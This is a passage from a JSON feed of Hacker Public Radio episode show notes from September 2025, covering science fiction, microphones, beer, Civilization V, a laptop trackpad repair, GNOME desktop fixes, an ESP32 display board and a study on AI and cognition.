                                                            \nThere is one specific story I want to tell, but I think I will save it for October. Why October? Because it is a workplace horror story about... Windows. Well, not really a horror story story, but it was really bizarre and can be described as such. In the meantime I don't want to promise anything. But maybe I will record a show about what I am currently doing at work, which is the topic of audit trail in software applications. But I am chaotic and may do something entirely different. We shall see.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI think that's all I want to say today. I would really appreciate if you left some feedback. Was the audio OK, is my English enough, did I speak too fast? English is not my first language and I've noticed over the years that I really tend to speak too fast when using English. And that's it, thank you for listening. Hopefully we'll hear in the future from me.

                                                            \n\n\n","hostid":450,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"tech, intro, gaming, programming, Windows","version":0,"downloads":0,"valid":1}, {"id":4460,"date":"2025-09-05","title":"Arthur C. Clarke","duration":709,"summary":"This begins our fist look at Arthur C. Clarke","notes":"\n

                                                            \n This begins our look at the second of the Big Three of the Gold\n Age of Science Fiction, Arthur C. Clarke. We give some brief\n biographical informmation, and then dig into two related early\n novels, Againt the Fall of Night, and The City And The Stars

                                                            \n

                                                            \n Links:

                                                            \n ","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Arthur C. Clarke","version":0,"downloads":0,"valid":1}, {"id":4461,"date":"2025-09-08","title":"Battle of the mic's","duration":351,"summary":"Lee compares recording with some different microphones","notes":"\n

                                                            \n Microphones compared:

                                                            \n
                                                              \n
                                                            1. Bose\n QC35 Headset
                                                            2. \n
                                                            3. \n Macbook Pro M1 16\"
                                                            4. \n
                                                            5. \n Anker PowerConf S330
                                                            6. \n
                                                            7. \n AKG Pro Audio Lyra
                                                            8. \n
                                                            9. \n iPad Pro 12.9\" 4th Gen
                                                            10. \n
                                                            \n

                                                            \n Photo: AKG mic with Sensic SA-30 boom arm & Aokeo pop filter

                                                            \n

                                                            \n \n \n \n

                                                            ","hostid":403,"series":45,"explicit":0,"license":"CC-BY-SA","tags":"microphones, audacity","version":0,"downloads":0,"valid":1}, {"id":4462,"date":"2025-09-09","title":"HPR Beer Garden - Intro and Dessert Stouts ","duration":2272,"summary":"Kevie and Dave start a new series of beer themed shows starting with Dessert Stouts","notes":"\n

                                                            \n Kevie and Dave (AKA The Love Bug) start a new series of shows with\n a focus upon beer. In this first episode the pair discuss about\n how they were introduced to beer and how it became more than a\n hobby/something to do at the weekend. They go on to discuss a\n relatively new style of beer in the Dessert/Pastry Stout. Dave\n looks at the Rocky Road\n Marshmallow Stout by Brewdog, whilst Kevie reviews Bertha\n Chocolate Cake Stout by Northern Monk.

                                                            \n

                                                            \n \n \n \n

                                                            \n

                                                            \n Connect with the guys on Untappd:

                                                            \n ","hostid":296,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"beer","version":0,"downloads":0,"valid":1}, {"id":4463,"date":"2025-09-10","title":"Software Freedom Day NJ, briefly. ","duration":97,"summary":"A quick summary of what we're doing for Soiftware Freedom Day.","notes":"\n

                                                            \nSoftware Freedom Day. It is a world-wide series of events to celebrate free software, and we're having one right here in New Jersey at Montclair State University.

                                                            \n\n

                                                            \nIt is held on the third Saturday of September world-wide, which his year is the 20th of September.

                                                            \n\n

                                                            \nWe're going to talk about what free software is, and why it's important for everyone.  

                                                            \n

                                                            \nWhat kind of software is available for your existing computer, and how you can extend the life of your computer by loading another OS on it. There will be a talk on self hosting, so that you can keep better control of your data. There will also be a talk on Social Networking with free software called \"Mastodon and the Fediverse\", there will also be talks on Wikipedia, and contrinuting to Free Software.

                                                            \n\n

                                                            \nThere is a huge variety of software out there, and we'd like to take some time to tell people about it.  This is a community event, and we'd love to see people from all over come out!

                                                            \n\n

                                                            \nHere are some links for more information:

                                                            \n\n

                                                            \n\nhttps://softwarefreedom.neocities.org/\n

                                                            \n\n

                                                            \nalso, the foundation site

                                                            \n\n

                                                            \n\nhttps://digitalfreedoms.org/en/sfd/events/software-freedom-day-2025-new-jersey\n

                                                            \n\n\n

                                                            \nSo find an event near you, look online to see which events are streaming, or start planning for an event in your area for next year.  

                                                            \n\n

                                                            \nHope to see you in New Jersey soon!

                                                            \n\n\n","hostid":444,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"sfd, SoftwareFreedomDay, NewJersey, NJ, FreeSoftware, event, montclair","version":0,"downloads":0,"valid":1}, {"id":4464,"date":"2025-09-11","title":"Replacing the Trackpad on my Laptop","duration":669,"summary":"Claudio talks about how he took a gamble and replaced his fauilty trackpad on his laptop.","notes":"

                                                            Original Part: TDA147011T01

                                                            \n

                                                            Replacement Part: TDA147011T20 from a XPG Xenia 15 gaming laptop

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • Evoo EVC141-12BK: https://www.walmart.com/ip/EVOO-14-1-Ultra-Slim-Notebook-Elite-Series-FHD-Display-AMD-Ryzen-5-3500U-Processor-Radeon-Vega-8-Graphics-8GB-RAM-256GB-SSD-HD-Webcam-Windows-10-Home/419496306
                                                            • \n
                                                            • MOTILE 14\" Performance Laptop: https://www.walmart.com/ip/MOTILE-14-Performance-Laptop-FHD-AMD-Ryzen-5-Radeon-Vega-8-Graphics-THX-Spatial-Audio-Tuned-display-8GB-RAM-256GB-SSD-HDMI-Front-720p-HD-IR-Camera-Ro/909076408
                                                            • \n
                                                            • Clevo: https://www.clevo.com.tw/
                                                            • \n
                                                            • Evoo 14.1 Ultra-slim Laptop Review (EVC141-12BK): https://www.youtube.com/watch?v=olPUSDFY9MQ
                                                            • ","hostid":152,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"hardware,computers,repairs,upgrades,trackpad,evoo,motile,clevo,laptop,ebay,xpg,xenia","version":0,"downloads":0,"valid":1}, {"id":4465,"date":"2025-09-12","title":"Playing Civilization V, Part 3","duration":1021,"summary":"We continue our look at the game mechanics of Civlization V.","notes":"\n

                                                              \n Playing Civilization V, Part 3

                                                              \n

                                                              \n Victory Types

                                                              \n

                                                              \n This is a good time to discuss the Victory types in Civ 5. We have\n talked about choosing appropriate strategies and that mostly has\n to do with what kind of Victory you are aiming for. Now you can\n change the objective as the game goes on, so if you realize you\n can’t win your original Victory type, you can switch to another.\n But success is a lot easier if you make the right choices early\n on.

                                                              \n
                                                                \n
                                                              • \n Domination – To win this, you must keep possession of your own\n original capital, and capture everyone else’s original capital.\n Original capital is the first city founded by each Empire. It\n can never be destroyed, but can be captured. Once the original\n capital city of an Empire is captured, another city will become\n the \n current \n capital, but capturing that does not count towards victory, and\n a current capital can be destroyed.
                                                              • \n
                                                              • \n Science – To win this, build and launch a spaceship to Alpha\n Centauri. To build a spaceship requires technologies at the end\n of the Technology tree, but you don’t have to actually research\n every possible technology to do this. You build the parts in\n your various cities, and assemble them in your Capital. Once you\n have assembled all the parts, the spaceship will automatically\n launch and you win the game.
                                                              • \n
                                                              • \n Cultural – This depends on your culture compared to the other\n Empires, and involves the Tourism mechanic. If you attract\n tourists from another Empire, your culture will become more\n dominant over theirs. There are 6 levels for your Empire\n vis-a-vis the others: Unknown, Exotic, Familiar, Popular,\n Influential, and Dominant. These are defined by the amount of\n tourism you receive from an Empire compared with their own\n production of Culture. If the tourism you receive is at least\n equal to their own Culture production, you are Influential. And\n to get Culture victory you have to be at least Influential with\n every other Empire still in the game. The basic source of\n tourism comes from Great Works of Art, and Artifacts. Great\n Works of Art are produced by Great Artists, and Artifacts are\n dug up by your Archeologists once you discover this. Your own\n Culture production both defends against tourism of other Empires\n (i.e. your own citizens would rather enjoy your culture than\n travel to other Empires), and helps to produce the Great Works\n of Art. This victory type and the Tourism Mechanic is one of the\n innovations in Civ 5 , and carries over and is developed further\n in Civ 6.
                                                              • \n
                                                              • \n Diplomatic – To win this, you have to voted in as World Leader\n in the United Nations. You can gain votes in several ways.\n First, you can liberate the conquered capital of another Empire\n and return it to them. That will guarantee that they will vote\n for you in the United Nations. Or, and this is most common, you\n can ally with City-States and get their vote in the UN. Finally,\n if a City-State has been previously conquered by another Empire,\n you can liberate it and they will vote for you in the UN. Once\n the UN is achieved, votes take place every 20 turns, so if you\n fall short on one try, you can try to line up more votes for the\n next try, which usually means allying with a few more\n City-States.
                                                              • \n
                                                              • \n Time – If no one has won by the above means, the Empire with the\n highest score when time runs out will win. In a Standard game,\n that is in 2050 AD, and is turn 500. But note that turn 500 is\n not a turn when you can make a play. Your last chance to\n actually do anything is turn 499.
                                                              • \n
                                                              \n

                                                              \n Terrain

                                                              \n

                                                              \n Civilization V changed the game board from squares to hexes, which\n was the first big change. But another change makes terrain even\n more important in Civ V, and that is that you can only have one\n unit per tile. The giant death stacks of units that you could\n employ in Civ III and Civ IV are now gone. That means that any\n military campaign will mostly be fought on a variety of tiles.\n Most of this we will discuss later when we look at the military\n and how to fight wars, but knowing how terrain affects your units\n in terms of strength and mobility will be a big part of that. So\n first we need to know what the Terrain Types are. Of course, the\n other reason we need to know this is in terms of where to settle,\n where to farm, where to mine, and so on. And special resources are\n a modifier, but first we’ll look at the Terrain Types by\n themselves. They can be analyzed in terms of their Base\n Production, i.e., what they will produce without any improvements\n such as farms and mines, Movement Cost, i.e. how many movement\n points it takes to move into the Tile, and Defensive Bonus, i.e.\n how the strength of your units is modified if they are in combat.

                                                              \n
                                                                \n
                                                              • \n Grassland – Base Production = 2 Food, Movement Cost = 1, and\n Defensive Bonus = -33%
                                                              • \n
                                                              • \n Plains – Base Production = 1 Food and 1 Production, Movement\n Cost = 1, and Defensive Bonus = -33%
                                                              • \n
                                                              • \n Desert – Base Production = Nothing, Movement Cost = 1, and\n Defensive Bonus = -33%
                                                              • \n
                                                              • \n Ocean – Base Production = 1 Food and 1 Gold, Movement Cost = 1
                                                              • \n
                                                              • \n Lake – Base Production = 2 Food and 1 Gold , Movement Cost = 1
                                                              • \n
                                                              • \n Tundra – Base Production = 1 Food, Movement Cost = 1
                                                              • \n
                                                              • \n Snow – Base Production = None, Movement Cost = 1, and Defensive\n Bonus = -33%
                                                              • \n
                                                              \n

                                                              \n These basic Terrain Types can then be modified by Terrain\n Features, which can be stacked. For example, you could have a\n Plains tile with Hills and a Forest.

                                                              \n
                                                                \n
                                                              • \n Hills – Base Production = 0 Food and 2 Production, Movement Cost\n = 2, and Defensive Bonus = +25%. Note that the Base Production\n for Hills will be 0 Food and 2 Production regardless of the\n underlying Terrain Type.
                                                              • \n
                                                              • \n Forest – Base Production = 1 Food and 1 Production, Movement\n Cost = 2, and Defensive Bonus = +25%. Note that the Base\n Production for tiles with Forests will be 1 Food and 1\n Production regardless of the underlying Terrain Type. But\n Forests can be cleared by Workers once Mining is discovered.
                                                              • \n
                                                              • \n Jungle – Production effect = -1 Production, Movement Cost = 2,\n and Defensive Bonus = +25%. Jungles can be cleared by Workers\n once Bronze Working is discovered, and should be.
                                                              • \n
                                                              • \n Mountain – Production = 0, Movement = impassable except for Air\n units, and for Carthaginian units once they have earned a Great\n General. Defensive Bonus = +25%
                                                              • \n
                                                              • \n River – Rivers run along the borders of tiles. They add +1 Gold.\n Attacking across a river reduces your attack strength by 20%.\n Crossing a river will end movement for most units unless there\n is a road with a bridge.
                                                              • \n
                                                              • \n Marsh – Production effect = -1 Food, Movement Cost = 2. Can be\n removed by workers once Masonry is discovered. If you have a\n Marsh tile in your city, have the workers remove the Marsh\n before you attempt to work the tile.
                                                              • \n
                                                              • \n Coast – These are the water tiles with relatively shallow water\n along the coast of a land mass. They are lighter in color than\n deep ocean tiles. Coast tiles can be traveled on by early water\n units which cannot travel on the deeper ocean tiles. Coast tiles\n produce one gold each.
                                                              • \n
                                                              • \n Flood plains – These tiles can be found sometimes along river\n banks. They produce 2 food, but can also produce disease\n outbreaks.
                                                              • \n
                                                              • \n Oasis – Produce +3 Food and +1 Gold. These tiles cannot be\n improved other than to add roads and railroads.
                                                              • \n
                                                              • \n Ice – At the top and bottom of the map are ice tiles\n representing the north and south poles. Airplanes can fly over\n these tiles, and submarines can go under them, but otherwise\n they are impassable
                                                              • \n
                                                              • \n Fallout – Once nuclear weapons have been discovered, you can\n have tiles that are covered by fallout. This will reduce food by\n 3, production by 3, and gold by 3. Movement cost is 2. In\n practice this will mean the tile produces nothing. A Worker unit\n can clean this up, but it will take time. So until that happens,\n you should look for opportunities to move your citizen into some\n other occupation until it is cleaned up. And you have to clean\n it up before building or restoring any improvements.
                                                              • \n
                                                              • \n Atoll – This tile type was added in a patch with the Polynesian\n DLC. It is an ocean tile that produces 1 Food and +1 Production.\n Movement cost is 1.
                                                              • \n
                                                              \n

                                                              \n Admittedly, this is a lot of detail to take in, but there are a\n few basic rules you might want to keep in mind. First, you don’t\n want to settles cities where there are lots of Desert, Tundra, or\n Snow tiles. One or two Tundra tiles are OK if there are other\n positive features, like access to a luxury resource, but Desert\n and Snow tiles are completely useless. Again if there are lots of\n desirable tiles available, having one or two Desert or Snow is not\n problem, since in most cases you never will work all of the tiles\n in most cities. But look for the good tiles. Similarly, Mountain\n tiles are not generally useful, however if you are going for a\n Science victory they can be handy if you settle a city immediately\n adjacent to a mountain, since that will let you build an\n Observatory in the city. Observatories cost zero maintenance and\n add 50% to the science output of the city, making them very\n valuable. Mountains are also handy as barriers to keep away your\n enemies. Jungle tiles can also cause disease outbreaks, but\n clearing the jungle from the tile will put a stop to that. I will\n always clear away any jungle or Marsh tiles within my cities.\n Defensive bonuses are also important, but that is better covered\n when we get to warfare.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n From: \nhttps://www.palain.com/gaming/civilization-v/playing-civilization-v-part-3/\n

                                                              ","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization V, victory, terrain","version":0,"downloads":0,"valid":1}, {"id":4466,"date":"2025-09-15","title":"HPR Music project - Walking tune to(wards) a friend","duration":93,"summary":"Fred teaches a tune that they wrote several years ago","notes":"\n

                                                              \n The sheet music exists (although slightly inaccurate since it has\n been slightly altered since then) on my musescore\n page.
                                                              \n

                                                              \n

                                                              \n Also some credit to Folky who appears on his own nyckelharpa\n towards the end in the duette part.

                                                              \n

                                                              \n\"thumbnail\n

                                                              ","hostid":422,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"nyckelharpa, flute, alto recorder, folk music","version":0,"downloads":0,"valid":1}, {"id":4467,"date":"2025-09-16","title":"A small Odoo usage intro and a larger technical bit","duration":2366,"summary":"If you are into tech, this will keep you busy for the next few years.","notes":"\n

                                                              \nTo switch in Odoo to developer mode, simply add the tekst \"?debug=1\" to the url.

                                                              \n

                                                              \nWARNING: the Technical menu that you now can see in the Settings app is not for the faint of heart!

                                                              \n

                                                              \nBe very, very careful making changes there.

                                                              \n\n\n","hostid":369,"series":126,"explicit":0,"license":"CC-BY-SA","tags":" odoo, erp, application","version":0,"downloads":0,"valid":1}, {"id":4468,"date":"2025-09-17","title":"AI Trap and Fix","duration":305,"summary":"Archer72 breaks the icons on his system and gets things back in order","notes":"

                                                              Hello, this is your host, Archer72 for another episode of\nHacker Public Radio.

                                                              \n

                                                              In this episode, I continue to fall for the AI trap.

                                                              \n

                                                              Here I was, minding my own business, when I was bothered by\nthe icon only showing a generic icon for the Beeper app.

                                                              \n

                                                              Now, I'm not saying that Duck.ai is not useful, but be\nvery careful what you ask for.

                                                              \n

                                                              It was probably a combination of the early morning, and not\nreading completely through the AI suggestions, but I ended\nup losing all icons on the Gnome desktop except for a few\nlike Firefox. I won't leave the problematic command so I\ndon't trip up the listener, but it involved updating a\ndesktop database. This in turn left a dash or blank where\nthe icons should be.

                                                              \n

                                                              If that wasn't bad enough, it was suggested to reset Gnome\nsettings, and nothing was as it seemed before. Things that\nI had taken for granted were not there. You forget what\ncustom settings are there when mistakes like this are made.

                                                              \n

                                                              So the short answer is that the icons directory, located on\nmy Debian system should be located in

                                                              \n

                                                              .local/share/icons.

                                                              \n

                                                              Instead it was in a sub-directory

                                                              \n

                                                              .local/share/icons/icons

                                                              \n

                                                              Correcting the directory location solved everything, but I\nwas still left to reset my custom Gnome keybindings.

                                                              \n

                                                              • Swap Escape and Caps lock key

                                                              \n

                                                              I used this because I am a Vim user, and this feels more\nnatural when I need to hit Escape to change modes.

                                                              \n

                                                              In Gnome, the setting is under Gnome Tweaks >\n Keyboard >\n Additional Layout Options >\n Swap Esc and Caps Lock Key

                                                              \n

                                                              As of this show release the current stable version is\nTrixie. Gnome Tweaks - Debian Trixie can be installed by sudo apt install gnome-tweaks on any Debian based system.

                                                              \n

                                                              • Compose key\n• Compose key shortcuts

                                                              \n

                                                              The Compose key is found at Settings >\n Keyboard >\n Compose\nKey. I selected the Menu key, because this is rarely used,\nand can still be accessed by the track pad.

                                                              \n

                                                              • Shortcut to open MPV with a clipboard URL from Youtube

                                                              \n

                                                              This can be found in Setting >\n Keyboard >\n View and Customize\nShortcuts >\n Custom Shortcuts

                                                              \n
                                                              Shift+Ctrl+P\n

                                                              Code placed in /usr/local/bin/

                                                              \n
                                                              #!/bin/bash\n## mpv-url\n\nurl=`xsel -o -b`\necho $url\nmpv $url\n

                                                              Now I can get back to what I started in the first place,\ncreating a .desktop file for Beeper.

                                                              \n

                                                              I created a beeper-desktop.desktop file in\n`~/.local/share/applications' with the follow contents.

                                                              \n
                                                              [Desktop Entry]\nName=Beeper Desktop\nExec=/home/mark/AppImages/Beeper-4.1.169.AppImage\nIcon=/home/mark/.local/share/icons/beeper.png\nType=Application\nCategories=Network;InstantMessaging;\nTerminal=false\nStartupWMClass=Beeper\n

                                                              The last part of the config file can be found by

                                                              \n

                                                              xprop | grep WM_CLASS

                                                              \r","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Beeper, icons, AI, mpv, Gnome Tweaks","version":0,"downloads":0,"valid":1}, {"id":4469,"date":"2025-09-18","title":"Disagree With Me - 3 Statements About Life Living","duration":383,"summary":"Antoine, who is not a life hacker, thinks that he thinks as one","notes":"\n

                                                              \nHello from Antoine. A show without a script, with 3 bullet points:

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n1. \nIt's better to have had 1 million dollars, and spend it all in a bed investment, rather than having had 5 dollars and lose 10 dollars.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nIn one case, you are not in debt, you can start on zero with a clean mind (the past is only past). In another case, there is a debt, you wasted what you even did not have at first. That's a problem.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nLosses happen all the time, in sports for example, and people in general understand. Albeit, when it has to do with family problems, or financial lack of success, there is all kind of malicious judgement for the bad choices of the other one.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n2. \nA good work is a work where one does what he has to do, in the time he sold to the work.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nIt's not a matter of being on the desk more time than your colleagues, it's a matter of giving your work capacity for the time agreed in exchange of the payment agreed upon. In one word, honesty. Even if not as a moral value you agree with in a specific case, the obedience is the result of having your mind in the same way your body is going, and that is enjoyment.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n3. \nYour attitudes show if you have a purpose in what you're doing, or you're taking it with the belly (doing it in a non-vigorous way, without enthusiasm).

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nIf you have a purpose, you are enjoying, because it has a purpose. You, after all! (Not because of big loads of material things, but, simply, purpose. Relations and purpose.)

                                                              \n\n\n","hostid":441,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Meaning, Purpose, Life hack, Thoughts","version":0,"downloads":0,"valid":1}, {"id":4470,"date":"2025-09-19","title":"HPR is twenty years old today. ","duration":1299,"summary":"A clip show looking back over 20 years focusing on the history of HPR","notes":"\n

                                                              \n Links to the clips

                                                              \n

                                                              \n \n hpr0001 - Introduction to HPR by StankDawg & Enigma (Dec\n 31, 2007)

                                                              \n

                                                              \n \n hpr0720 - Interview with Mark (deltaRay) about CLI Magic by\n Klaatu (May 6, 2011)

                                                              \n

                                                              \n \n hpr0853 - Pat Volkerding of Slackware Linux chats with\n Klaatu (Nov 8, 2011)

                                                              \n

                                                              \n \n hpr0788 - Bitcoin howto, JWP (Aug 9, 2011)

                                                              \n

                                                              \n \n hpr3439 - Linux Inlaws S01E40: The One with the BSDs (Oct\n 10, 2021)

                                                              \n

                                                              \n \n hpr0870 - Computer Memories by Deltaray (Dec 12, 2011)

                                                              \n

                                                              \n \n hpr1037 - How to solder series, Mr X (2012-2013)

                                                              \n

                                                              \n \n hpr1322 - Kevin O'Brien/index.html\"> - Ohio LinuxFest\n 2013 a.k.a Ahuka, by Ken Fallon (Aug 27, 2013)

                                                              \n

                                                              \n \n hpr1642 - First Time at Oggcamp by Al (Nov 18, 2014)

                                                              \n

                                                              \n \n hpr1690 - Arduino Introduction by Klaatu (Jan 23, 2015)

                                                              \n

                                                              \n \n hpr1874 - Fireside chat with droops by Ken Fallon (Oct 8,\n 2015)

                                                              \n

                                                              \n \n hpr1890 - A short walk with my son by thelovebug (Oct 30,\n 2015)

                                                              \n

                                                              \n \n hpr2182 - why say GNU/Linux by spaceman (Dec 13, 2016)

                                                              \n

                                                              \n \n hpr2503 - My journey into podcasting by thelovebug (Mar 7,\n 2018)

                                                              \n

                                                              \n \n hpr2673 - Ohio Linux Fest Podcaster Roundtable by Thaj Sara\n (Oct 31, 2018)

                                                              \n

                                                              \n \n hpr1703 - Open Source CD Rippers, Kevie (Feb 11, 2015)

                                                              ","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR, podcasts, open source culture","version":0,"downloads":0,"valid":1}, {"id":4471,"date":"2025-09-22","title":"Ti-82 Makes Music and Password Manager","duration":962,"summary":" I talk about Ti-82 Calculators Making music and LastPass Password Manager","notes":"

                                                              \n The TI-80 is a graphing calculator introduced\n by Texas Instruments in 1995 to be\n used at a middle school level (grades 6 to 8).\n It offered advanced capabilities that had previously only been\n available in high-end scientific calculators to\n students learning pre-algebra and algebra,\n and was designed to be affordable for schools.
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n \n \n

                                                              \n Links

                                                              \n\n \n


                                                              \n

                                                              ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking, calculators, password managers, android","version":0,"downloads":0,"valid":1}, {"id":4472,"date":"2025-09-23","title":"Cheap Yellow Display Project: Introduction to the Cheap Yellow Display ","duration":247,"summary":"A brief introduction to the Cheap Yellow Display","notes":"\n

                                                              \n\nHello, again. This is Trey.  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSeveral months ago, I heard Paul Asadoorian mention the Cheap Yellow Display on his podcast, \n\nPaul's Security Weekly\n\n(\n\nhttps://www.scworld.com/podcast-show/pauls-security-weekly\n\n). I didn't think much of it at the time, but then I heard it referenced again, and again. Then, finally, it was described, and I became interested. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\"Cheap Yellow Display\" is the term used for the ESP32-2432S028R. Since this is somewhat challenging to say, and to remember, and since the board is yellow, and it can be obtained for as little as $12 USD, it has been given the nickname \"Cheap Yellow Display\". I will abbreviate this as CYD for the remainder of this episode. It is an \n\nESP32 (with built in WiFi & Bluetooth) on a development board with one or more USB connectors, a MicroSD slot, a limited selection of GPIO pins, an RGB LED, a speaker, a light sensor, and best of all, a \n\n2.8-inch (71mm) TFT touchscreen LCD display. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe CYD runs on 5 volts DC. I am including some photographs of the CYD in the show notes. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n\n\n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nRandomNerdTutorials\n\nhas produced a very good writeup about this board on their website (\n\nhttps://randomnerdtutorials.com/cheap-yellow-display-esp32-2432s028r/\n\n). \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nBrian Lough (AKA \n\nWitnessMeNow) has been building a community for the CYD on his GitHub site (\n\nhttps://github.com/witnessmenow/ESP32-Cheap-Yellow-Display\n\n) where he has instructions, examples, tutorials, downloadable tools, and much more. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n Beginning back in the 1970s, my father and I built electronics projects together. And I have had a love for doing so ever since. Over the last few years, I have built several Arduino based gadgets on different platforms, including a couple which run on breadboards sitting beside me on my desk (I will share more about one of those later).   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nA common use for the CYD among hackers is to leverage the built in WiFi & Bluetooth radios to compromise wireless networks or devices. The Marauder project is a prebuilt image which can be loaded directly to the CYD to use it as a wireless hacking tool. \n\nFr4nkFletcher's Github repository\n\n(\n\nhttps://github.com/Fr4nkFletcher/ESP32-Marauder-Cheap-Yellow-Display\n\n) is one place where you can download the Marauder tool. There are also video games, clocks, photo slideshows, and more, which have already been coded for you, and are available on the internet for download. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWhat would you do with a CYD? What could you build? What problem might you solve? What fun project might you come up with? \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nFor myself, the CYD intrigued me, but it did not yet jump out at me as something I had a need for. Yet. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWhat would change my mind? What would set me on a quest to obtain some of these devices and learn to develop code for them? What problem did I wish to solve? \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nTune in again, in a couple weeks, to learn the answers some of these questions and more in my next episode in this HPR series. \n

                                                              \n\n\n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CYD, electronics, ESP32, Adruino, Cheap Yellow Display","version":0,"downloads":0,"valid":1}, {"id":4473,"date":"2025-09-24","title":"HPR Beer Garden 2 - Session IPA","duration":1715,"summary":"Kevie and Dave talk about Session IPA beers and review a couple for themselves.","notes":"\n

                                                              \nKevie and Dave have a discussion about the Session IPA (sub)style of beer. They also review a couple that they purchased from their local retailers: Dave tries out \nCrystalline Waters by Cervesa Espiga\n, whilst Kevie samples Island \nLife Session IPA by The Orkney Brewery\n.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \nConnect with the guys on Untappd:

                                                              \n\n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe intro sounds for the show are used from:

                                                              \n\n\n\n","hostid":296,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"beer","version":0,"downloads":0,"valid":1}, {"id":4474,"date":"2025-09-25","title":"Hacker Poetry - 001","duration":122,"summary":"A show where hackers read poetry written by other hackers. ","notes":"\n

                                                              \nThe first episode of Hacker Poetry! Episode 001, in which three poems by an anonymous hacker are read by Major Ursa.

                                                              \n\n

                                                              \n\nNote: The host has confirmed that the show is compliant with the fact that HPR is a podcast and not a podcast hosting platform/distribution network.\n\n

                                                              \n\n\n","hostid":451,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"poetry, writing","version":0,"downloads":0,"valid":1}, {"id":4475,"date":"2025-09-26","title":"The true audio file for walking tune to(wards) a friend","duration":1298,"summary":"Fred finally releases the audio file that was supposed to be HPR4466 in which they teach a tune","notes":"\n

                                                              \nThe sheet music for the piece can be found on Fred's musescore page.\n

                                                              \n

                                                              \n\"thumbnail\n

                                                              ","hostid":422,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Music, Nyckelharpa, Folk_music, Flute, alto_recorder","version":0,"downloads":0,"valid":1}, {"id":4476,"date":"2025-09-29","title":"Does AI cause brain damage?","duration":708,"summary":"Going through the findings of an MIT study about how AI will make your brain rot away (or will it?)","notes":"\n

                                                              \nQuick-Glance Summary

                                                              \n
                                                                \n
                                                              • \nI walk you through an MIT experiment where 54 EEG-capped volunteers wrote essays three ways: pure brainpower, classic search, and ChatGPT assistance.
                                                              • \n
                                                              • \nBrain-only writers lit up the most neurons and produced the freshest prose; the ChatGPT crowd churned out near-identical essays, remembered little, and racked up what the researchers dub \ncognitive debt : \nthe interest you pay later for outsourcing thought today.
                                                              • \n
                                                              • \nA bonus “switch” round yanked AI away from the LLM devotees (cue face-plant) and finally let the brain-first team play with the toy (they coped fine), proving skills first, tools second.
                                                              • \n
                                                              • \nI spiced the tale with calculator nostalgia, a Belgian med-exam cheating fiasco, and Professor Felienne’s forklift-in-the-gym metaphor to land one mantra: *scaffolds beat shortcuts*.
                                                              • \n
                                                              • \nWe peeked at tech “enshittification” once investors demand returns, whispered “open-source” as the escape hatch, and I dared you to try a two-day test—outline solo, draft with AI, revise solo, then check what you still remember.
                                                              • \n
                                                              • \nNet takeaway: keep AI on a leash; let \nthinking drive, tools navigate\n.
                                                              • \n
                                                              • \nIf you think I’m full of digital hot air, record your own rebuttal and prove it.
                                                              • \n
                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n

                                                              \n

                                                              \nResources

                                                              \n

                                                              \n\nMIT study\n

                                                              \n\n

                                                              \n\nLong term consequences\n

                                                              \n

                                                              \n(to be honest - pulled these from another list, didn't check all of them)

                                                              \n

                                                              \n
                                                              \n

                                                              \n\n

                                                              \nPodcast episodes that inspired some thoughts

                                                              \n

                                                              \n
                                                              \n

                                                              \n\n\n\n","hostid":433,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"AI, llm, brain rot","version":0,"downloads":0,"valid":1}, {"id":4477,"date":"2025-09-30","title":"doodoo 3 a deuce plus 1","duration":611,"summary":"continuing to blather about doodoo a todo app for getting dung done","notes":"\n

                                                              \nWow, I sure hope I didn't say \"a link will be in the show notes\" because I recorded this a few weeks ago.

                                                              \n

                                                              \n\ndoodoo source\n

                                                              \n

                                                              \nDoodoo is a single user webapp with a server written in python and a ui of html,javascript, and css.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

